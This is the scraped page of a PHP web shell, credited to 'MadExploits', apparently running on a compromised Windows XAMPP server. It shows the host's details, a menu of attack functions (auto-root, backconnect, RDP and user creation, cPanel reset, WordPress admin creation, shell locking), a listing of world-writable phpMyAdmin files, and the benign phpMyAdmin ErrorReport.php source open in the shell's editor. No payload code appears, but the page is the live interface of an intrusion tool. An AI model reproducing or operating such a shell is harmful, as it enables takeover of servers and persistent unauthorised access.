Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
Controllers
[ DIR ]
drwxrwxrwx
Database
[ DIR ]
drwxrwxrwx
Dbi
[ DIR ]
drwxrwxrwx
Di
[ DIR ]
drwxrwxrwx
Display
[ DIR ]
drwxrwxrwx
Engines
[ DIR ]
drwxrwxrwx
Gis
[ DIR ]
drwxrwxrwx
Navigation
[ DIR ]
drwxrwxrwx
Plugins
[ DIR ]
drwxrwxrwx
Properties
[ DIR ]
drwxrwxrwx
Rte
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Setup
[ DIR ]
drwxrwxrwx
Twig
[ DIR ]
drwxrwxrwx
Utils
[ DIR ]
drwxrwxrwx
Advisor.php
19.56
KB
-rw-rw-rw-
Bookmark.php
10.74
KB
-rw-rw-rw-
BrowseForeigners.php
11.15
KB
-rw-rw-rw-
CentralColumns.php
44.19
KB
-rw-rw-rw-
Charsets.php
6.14
KB
-rw-rw-rw-
CheckUserPrivileges.php
12.59
KB
-rw-rw-rw-
Config.php
57.38
KB
-rw-rw-rw-
Console.php
3.69
KB
-rw-rw-rw-
Core.php
38.31
KB
-rw-rw-rw-
CreateAddField.php
17.91
KB
-rw-rw-rw-
DatabaseInterface.php
104.47
KB
-rw-rw-rw-
Encoding.php
8.68
KB
-rw-rw-rw-
Error.php
13.34
KB
-rw-rw-rw-
ErrorHandler.php
17.17
KB
-rw-rw-rw-
ErrorReport.php
8.92
KB
-rw-rw-rw-
Export.php
42.76
KB
-rw-rw-rw-
File.php
21.29
KB
-rw-rw-rw-
FileListing.php
2.83
KB
-rw-rw-rw-
Font.php
5.54
KB
-rw-rw-rw-
Footer.php
10.6
KB
-rw-rw-rw-
Header.php
21.87
KB
-rw-rw-rw-
Import.php
56.56
KB
-rw-rw-rw-
Index.php
24.5
KB
-rw-rw-rw-
IndexColumn.php
4.44
KB
-rw-rw-rw-
InsertEdit.php
129.31
KB
-rw-rw-rw-
InternalRelations.php
17.42
KB
-rw-rw-rw-
IpAllowDeny.php
9.57
KB
-rw-rw-rw-
Language.php
4.31
KB
-rw-rw-rw-
LanguageManager.php
23.71
KB
-rw-rw-rw-
Linter.php
5.21
KB
-rw-rw-rw-
ListAbstract.php
2.51
KB
-rw-rw-rw-
ListDatabase.php
4.34
KB
-rw-rw-rw-
Logging.php
2.6
KB
-rw-rw-rw-
Menu.php
22.36
KB
-rw-rw-rw-
Message.php
19.32
KB
-rw-rw-rw-
Mime.php
916
B
-rw-rw-rw-
MultSubmits.php
23.64
KB
-rw-rw-rw-
Normalization.php
40.41
KB
-rw-rw-rw-
OpenDocument.php
8.52
KB
-rw-rw-rw-
Operations.php
81.25
KB
-rw-rw-rw-
OutputBuffering.php
3.71
KB
-rw-rw-rw-
ParseAnalyze.php
2.55
KB
-rw-rw-rw-
Partition.php
7.27
KB
-rw-rw-rw-
Pdf.php
4.37
KB
-rw-rw-rw-
Plugins.php
22.95
KB
-rw-rw-rw-
RecentFavoriteTable.php
12.04
KB
-rw-rw-rw-
Relation.php
79.64
KB
-rw-rw-rw-
RelationCleanup.php
15
KB
-rw-rw-rw-
Replication.php
5.75
KB
-rw-rw-rw-
ReplicationGui.php
21.23
KB
-rw-rw-rw-
Response.php
16.14
KB
-rw-rw-rw-
Sanitize.php
14.51
KB
-rw-rw-rw-
SavedSearches.php
11.94
KB
-rw-rw-rw-
Scripts.php
3.65
KB
-rw-rw-rw-
Session.php
7.62
KB
-rw-rw-rw-
Sql.php
82.09
KB
-rw-rw-rw-
SqlQueryForm.php
17.63
KB
-rw-rw-rw-
StorageEngine.php
13.75
KB
-rw-rw-rw-
SubPartition.php
3.55
KB
-rw-rw-rw-
SysInfo.php
1.61
KB
-rw-rw-rw-
SysInfoBase.php
822
B
-rw-rw-rw-
SysInfoLinux.php
2.16
KB
-rw-rw-rw-
SysInfoSunOS.php
1.89
KB
-rw-rw-rw-
SysInfoWINNT.php
3.27
KB
-rw-rw-rw-
SystemDatabase.php
3.97
KB
-rw-rw-rw-
Table.php
94.87
KB
-rw-rw-rw-
TablePartitionDefinition.php
6.64
KB
-rw-rw-rw-
Template.php
4.02
KB
-rw-rw-rw-
Theme.php
8.62
KB
-rw-rw-rw-
ThemeManager.php
10.42
KB
-rw-rw-rw-
Tracker.php
30.13
KB
-rw-rw-rw-
Tracking.php
40.26
KB
-rw-rw-rw-
Transformations.php
16.27
KB
-rw-rw-rw-
TwoFactor.php
7.14
KB
-rw-rw-rw-
Types.php
24.93
KB
-rw-rw-rw-
Url.php
8.32
KB
-rw-rw-rw-
UserPassword.php
9
KB
-rw-rw-rw-
UserPreferences.php
8.62
KB
-rw-rw-rw-
UserPreferencesHeader.php
4.13
KB
-rw-rw-rw-
Util.php
168.02
KB
-rw-rw-rw-
VersionInformation.php
6.92
KB
-rw-rw-rw-
ZipExtension.php
10.25
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ErrorReport.php
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Holds the PhpMyAdmin\ErrorReport class * * @package PhpMyAdmin */ declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Error; use PhpMyAdmin\Utils\HttpRequest; /** * Error reporting functions used to generate and submit error reports * * @package PhpMyAdmin */ class ErrorReport { /** * The URL where to submit reports to * * @var string */ private $submissionUrl = 'https://reports.phpmyadmin.net/incidents/create'; /** * @var HttpRequest */ private $httpRequest; /** * @var Relation */ private $relation; /** * @var Template */ public $template; /** * Constructor * * @param HttpRequest $httpRequest HttpRequest instance * @param Relation $relation Relation instance * @param Template $template Template instance */ public function __construct(HttpRequest $httpRequest, Relation $relation, Template $template) { $this->httpRequest = $httpRequest; $this->relation = $relation; $this->template = $template; } /** * Set the URL where to submit reports to * * @param string $submissionUrl Submission URL * @return void */ public function setSubmissionUrl(string $submissionUrl): void { $this->submissionUrl = $submissionUrl; } /** * Returns the pretty printed error report data collected from the * current configuration or from the request parameters sent by the * error reporting js code. * * @return string the report */ private function getPrettyData(): string { $report = $this->getData(); return json_encode($report, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES); } /** * Returns the error report data collected from the current configuration or * from the request parameters sent by the error reporting js code. * * @param string $exceptionType whether exception is 'js' or 'php' * * @return array error report if success, Empty Array otherwise */ public function getData(string $exceptionType = 'js'): array { /** @var Config $PMA_Config */ global $PMA_Config; $relParams = $this->relation->getRelationsParam(); // common params for both, php & js exceptions $report = [ "pma_version" => PMA_VERSION, "browser_name" => PMA_USR_BROWSER_AGENT, "browser_version" => PMA_USR_BROWSER_VER, "user_os" => PMA_USR_OS, "server_software" => $_SERVER['SERVER_SOFTWARE'], "user_agent_string" => $_SERVER['HTTP_USER_AGENT'], "locale" => $PMA_Config->getCookie('pma_lang'), "configuration_storage" => $relParams['db'] === null ? "disabled" : "enabled", "php_version" => PHP_VERSION, ]; if ($exceptionType == 'js') { if (empty($_POST['exception'])) { return []; } $exception = $_POST['exception']; if (isset($exception["stack"])) { $exception["stack"] = $this->translateStacktrace($exception["stack"]); } if (isset($exception["url"])) { list($uri, $scriptName) = $this->sanitizeUrl($exception["url"]); $exception["uri"] = $uri; $report["script_name"] = $scriptName; unset($exception["url"]); } elseif (isset($_POST["url"])) { list($uri, $scriptName) = $this->sanitizeUrl($_POST["url"]); $exception["uri"] = $uri; $report["script_name"] = $scriptName; unset($_POST["url"]); } else { $report["script_name"] = null; } $report["exception_type"] = 'js'; $report["exception"] = $exception; if (isset($_POST['microhistory'])) { $report["microhistory"] = $_POST['microhistory']; } if (! empty($_POST['description'])) { $report['steps'] = $_POST['description']; } } elseif ($exceptionType == 'php') { $errors = []; // create php error report $i = 0; if (! isset($_SESSION['prev_errors']) || $_SESSION['prev_errors'] == '' ) { return []; } foreach ($_SESSION['prev_errors'] as $errorObj) { /** @var Error $errorObj */ if ($errorObj->getLine() && $errorObj->getType() && $errorObj->getNumber() != E_USER_WARNING ) { $errors[$i++] = [ "lineNum" => $errorObj->getLine(), "file" => $errorObj->getFile(), "type" => $errorObj->getType(), "msg" => $errorObj->getOnlyMessage(), "stackTrace" => $errorObj->getBacktrace(5), "stackhash" => $errorObj->getHash(), ]; } } // if there were no 'actual' errors to be submitted. if ($i == 0) { return []; // then return empty array } $report["exception_type"] = 'php'; $report["errors"] = $errors; } else { return []; } return $report; } /** * Sanitize a url to remove the identifiable host name and extract the * current script name from the url fragment * * It returns two things in an array. The first is the uri without the * hostname and identifying query params. The second is the name of the * php script in the url * * @param string $url the url to sanitize * * @return array the uri and script name */ private function sanitizeUrl(string $url): array { $components = parse_url($url); if (isset($components["fragment"]) && preg_match("<PMAURL-\d+:>", $components["fragment"], $matches) ) { $uri = str_replace($matches[0], "", $components["fragment"]); $url = "https://example.com/" . $uri; $components = parse_url($url); } // get script name preg_match("<([a-zA-Z\-_\d\.]*\.php|js\/[a-zA-Z\-_\d\/\.]*\.js)$>", $components["path"], $matches); if (count($matches) < 2) { $scriptName = 'index.php'; } else { $scriptName = $matches[1]; } // remove deployment specific details to make uri more generic if (isset($components["query"])) { parse_str($components["query"], $queryArray); unset($queryArray["db"]); unset($queryArray["table"]); unset($queryArray["token"]); unset($queryArray["server"]); $query = http_build_query($queryArray); } else { $query = ''; } $uri = $scriptName . "?" . $query; return [ $uri, $scriptName, ]; } /** * Sends report data to the error reporting server * * @param array $report the report info to be sent * * @return string|null|bool the reply of the server */ public function send(array $report) { return $this->httpRequest->create( $this->submissionUrl, "POST", false, json_encode($report), "Content-Type: application/json" ); } /** * Translates the cumulative line numbers in the stack trace as well as sanitize * urls and trim long lines in the context * * @param array $stack the stack trace * * @return array the modified stack trace */ private function translateStacktrace(array $stack): array { foreach ($stack as &$level) { foreach ($level["context"] as &$line) { if (mb_strlen($line) > 80) { $line = mb_substr($line, 0, 75) . "//..."; } } list($uri, $scriptName) = $this->sanitizeUrl($level["url"]); $level["uri"] = $uri; $level["scriptname"] = $scriptName; unset($level["url"]); } unset($level); return $stack; } /** * Generates the error report form to collect user description and preview the * report before being sent * * @return string the form */ public function getForm(): string { $datas = [ 'report_data' => $this->getPrettyData(), 'hidden_inputs' => Url::getHiddenInputs(), 'hidden_fields' => null, ]; $reportData = $this->getData(); if (! empty($reportData)) { $datas['hidden_fields'] = Url::getHiddenFields($reportData, '', true); } return $this->template->render('error/report_form', $datas); } }
Close